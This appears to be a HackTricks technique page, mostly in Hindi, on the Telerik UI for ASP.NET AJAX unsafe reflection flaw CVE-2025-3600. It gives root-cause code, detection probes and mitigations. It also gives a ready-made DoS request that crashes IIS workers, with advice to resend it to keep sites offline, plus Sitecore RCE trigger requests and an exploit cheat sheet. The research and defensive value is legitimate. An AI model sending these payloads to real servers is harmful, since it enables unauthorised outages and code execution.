Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)
Tip
AWS Hacking सीखें & अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें:HackTricks Training Azure Red Team Expert (AzRTE)
assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।
HackTricks का समर्थन करें
- subscription plans देखें!
- जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
- HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।
Telerik UI for ASP.NET AJAX Image Editor cache handler में pre‑auth constructor execution universal DoS सक्षम करता है और कई ऐप्स में target‑specific gadgets के माध्यम से pre‑auth RCE को संभव बनाता है (CVE-2025-3600)।
सारांश
- प्रभावित घटक/रूट: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). कई products में pre‑auth एक्सपोज्ड।
- Primitive: एक हमलावर type नाम (prtype) नियंत्रित करता है। हैंडलर इसे Type.GetType() से रिज़ॉल्व करता है और interface type-safety की जाँच से पहले Activator.CreateInstance() को invoke करता है। कोई भी public parameterless .NET type का constructor चल जाएगा।
- प्रभाव:
- यूनिवर्सल pre‑auth DoS .NET framework gadget (PowerShell WSMan finalizer) के साथ।
- वास्तविक deployments में अक्सर app‑specific gadgets का दुरुपयोग कर pre‑auth RCE में उन्नयन हो जाता है, खासकर insecure AppDomain.AssemblyResolve handlers के कारण।
- समाधान: Telerik UI for ASP.NET AJAX 2025.1.416+ में अपडेट करें या handler को हटाएँ/लॉक करें।
प्रभावित वर्ज़न
- Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) vulnerable हैं।
- Fixed in 2025.1.416 (released 2025-04-29)। तुरंत पैच करें या handler हटाएँ/लॉक करें।
प्रभावित सतह और त्वरित खोज
- एक्सपोज़र जाँचें:
- GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 अगर handler wired है।
- web.config में handlers जो Telerik.Web.UI.WebResource.axd से map हैं, जांचें।
/या login पेजों में Telerik strings मिलने पर भरोसा न करें। वास्तविक products जैसे Sitecore अक्सर handler को डिफ़ॉल्ट HTML में reference किए बिना एक्सपोज़ करते हैं।- कमजोर कोड-पाथ को ट्रिगर करने के लिए आवश्यक: type=iec, dkey=1, और prtype=
।
उदाहरण प्रोब और सामान्य ट्रिगर:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
नोट्स
- कुछ PoCs dtype का उपयोग करते हैं; इम्प्लीमेंटेशन download flow के लिए dkey==“1” की जाँच करता है।
- prtype को assembly-qualified होना चाहिए या current AppDomain में resolvable होना चाहिए।
उपयोगी code/ops जाँच
<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />
<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'
पुराने इंस्टॉलेशनों पर त्वरित संस्करण ट्रायज
यदि वही एप्लिकेशन लेगसी type=rau हैंडलर भी एक्सपोज़ करता है, तो पुराने Telerik tooling अभी भी shared Telerik.Web.UI.dll संस्करण का fingerprint निकालने में मदद कर सकता है, इससे पहले कि आप type=iec रिसर्च करें।
यह not CVE-2025-3600 को सीधे exploit नहीं करता; यह केवल इस तथ्य का पुनः उपयोग करता है कि rau और iec एक ही assembly में रहते हैं।
व्यावहारिक उपयोग:
- यदि
type=rauपहुँच योग्य है, तो पुराने RAU tooling से classic major-version brute force का उपयोग करके सहीTelerik.Web.UIassembly संस्करण पुनः प्राप्त करें। - प्राप्त किए गए संस्करण की तुलना संवेदनशील सीमा (
2011.2.712से2025.1.218) और फिक्स्ड बिल्ड (2025.1.416+) से करें। type=rauकी अनुपस्थिति को अनिर्णायक मानें।iecअभी भी एक्सपोज़ हो सकता है भले हीrauअक्षम या फ़िल्टर किया गया हो।
Example with the legacy CVE-2019-18935.py helper:
for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done
Why this helps:
- एंटरप्राइज़ ऐप्स अक्सर वर्षों तक पुराने Telerik builds को बंडल किए रहते हैं।
- Red teams जल्दी पहचान सकते हैं कि “handler exposed” है या “likely still on a vulnerable DLL”।
- Incident response के दौरान, वही ट्रिक बड़े IIS fleets को scope करने में मदद करती है जब filesystem access तुरंत उपलब्ध न हो।
मूल कारण – ImageEditorCacheHandler में unsafe reflection
Image Editor cache डाउनलोड फ्लो prtype में दिए गए type का एक instance बनाता है और बाद में उसे ICacheImageProvider में cast करता है और download key को validate करता है। जब validation fail होता है तब constructor पहले ही चल चुका होता है।
संबंधित decompiled flow
```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }
public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }
protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }
</details>
Exploit primitive: नियंत्रित type string → Type.GetType इसे resolve करता है → Activator.CreateInstance इसका public parameterless constructor चलाता है। भले ही बाद में request रिजेक्ट कर दिया जाए, gadget side‑effects पहले ही हो चुके होते हैं।
## Universal DoS gadget (no app-specific gadgets required)
Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) में एक finalizer है जो एक uninitialized handle को dispose करता है, जिससे GC जब इसे finalize करता है तो एक unhandled exception होता है। यह instantiation के तुरंत बाद IIS worker process को विश्वसनीय रूप से क्रैश कर देता है।
One‑shot DoS request:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
नोट्स
- साइट को ऑफ़लाइन रखने के लिए समय-समय पर भेजते रहें। आप debugger में constructor को हिट होते देख सकते हैं; क्रैश finalization पर होता है।
DoS से RCE – एस्केलेशन पैटर्न
Unsafe constructor execution कई लक्ष्य-विशिष्ट gadgets और chains को अनलॉक कर देता है। खोजें:
- Parameterless constructors that process attacker input
- कुछ ctors (या static initializers) तुरंत Request query/body/cookies/headers को पढ़कर उन्हें (de)serialize कर लेते हैं।
- उदाहरण (Sitecore): एक ctor chain GetLayoutDefinition() तक पहुँचता है जो HTTP body “layout” को पढ़कर JSON.NET के माध्यम से JSON को deserialize करता है।
- Constructors that touch files
- डिस्क से config/blobs लोड या deserialize करने वाले Ctros को मजबूर किया जा सकता है यदि आप उन पाथ्स (uploads/temp/data folders) पर लिख सकते हैं।
- Constructors performing app-specific ops
- स्टेट रीसेट करना, मॉड्यूल टॉगल करना, या प्रोसेस समाप्त करना।
- Constructors/static ctors that register AppDomain event handlers
- कई ऐप्स AppDomain.CurrentDomain.AssemblyResolve handlers जोड़ते हैं जो args.Name से DLL paths बनाते हैं बिना sanitization के। यदि आप type resolution को प्रभावित कर सकते हैं तो आप attacker‑controlled पाथ्स से arbitrary DLL loads को मजबूर कर सकते हैं।
- Forcing AssemblyResolve via Type.GetType
- CLR resolution को मजबूर करने और registered (possibly insecure) resolvers को invoke करने के लिए एक non-existent type का अनुरोध करें। उदाहरण assembly-qualified नाम:
This.Class.Does.Not.Exist, watchTowr
- विनाशकारी साइड-इफेक्ट वाले Finalizers
- कुछ प्रकार finalizers में fixed-path फ़ाइलों को डिलीट कर देते हैं। link-following या पूर्वानुमेय पाथ्स के साथ मिलकर यह कुछ वातावरणों में local privilege escalation सक्षम कर सकता है।
उदाहरण pre‑auth RCE chain (Sitecore XP)
- Step 1 – Pre‑auth: ऐसे type को ट्रिगर करें जिसका static/instance ctor एक असुरक्षित AssemblyResolve handler रजिस्टर करता है (उदा., Sitecore’s FolderControlSource in ControlFactory).
- Step 2 – Post‑auth: resolver-probed directory में write की अनुमति हासिल करें (उदा., auth bypass या weak upload के जरिए) और वहां एक malicious DLL प्लांट करें।
- Step 3 – Pre‑auth: एक non-existent type और traversal‑laden assembly name के साथ CVE‑2025‑3600 का उपयोग करके resolver को मजबूर करें कि वह आपके लगाए गए DLL को लोड करे → IIS worker के रूप में code execution।
ट्रिगर के उदाहरण
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
मान्यकरण, हंटिंग और DFIR नोट्स
- सुरक्षित लैब वैलिडेशन: DoS payload ट्रिगर करें और WSMan finalizer से जुड़ा app pool का रीसायकल या अनहैंडल्ड exception देखें।
- टेलीमेट्री में हंट करें:
- Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
- Failed type loads and AppDomain.AssemblyResolve events.
- ऐसे अनुरोधों के बाद अचानक w3wp.exe क्रैश/रीसाइकिल।
रोकथाम
- Telerik UI for ASP.NET AJAX को 2025.1.416 या बाद के संस्करण पर पैच करें।
- जहाँ संभव हो Telerik.Web.UI.WebResource.axd की एक्सपोज़र हटाएँ या सीमित करें (WAF/rewrites)।
- सर्वर-साइड पर prtype हैंडलिंग को इग्नोर करें या मजबूत करें (upgrade इंस्टैन्टिएशन से पहले proper checks लागू करता है)।
- कस्टम AppDomain.AssemblyResolve हैंडलर्स का ऑडिट करें और उन्हें मजबूत बनाएं। args.Name से बिना sanitization के paths बनाना टालें; strong-named loads या whitelists को प्राथमिकता दें।
- अपलोड/लिखने के स्थानों को सीमित करें और probed directories में DLL drops को रोकें।
- रिज़ॉल्वर दुरुपयोग पकड़ने के लिए non-existent type load प्रयासों की निगरानी करें।
चीट‑शीट
- उपस्थिति जाँच:
- GET /Telerik.Web.UI.WebResource.axd
- web.config में handler mapping देखें
- Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- ट्रिगर रिज़ॉल्वर:
This.Class.Does.Not.Exist, watchTowr
संबंधित तकनीकें
- IIS post-exploitation, .NET key extraction, and in‑memory loaders:
IIS - Internet Information Services
- ASP.NET ViewState deserialization and machineKey abuses:
Exploiting __VIEWSTATE without knowing the secrets
संदर्भ
- Progress Telerik – Unsafe Reflection Vulnerability (3600)
- watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
- ZDI – Abusing arbitrary file deletes to escalate privilege
- watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)
Tip
AWS Hacking सीखें & अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें:HackTricks Training Azure Red Team Expert (AzRTE)
assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।
HackTricks का समर्थन करें
- subscription plans देखें!
- जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
- HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।


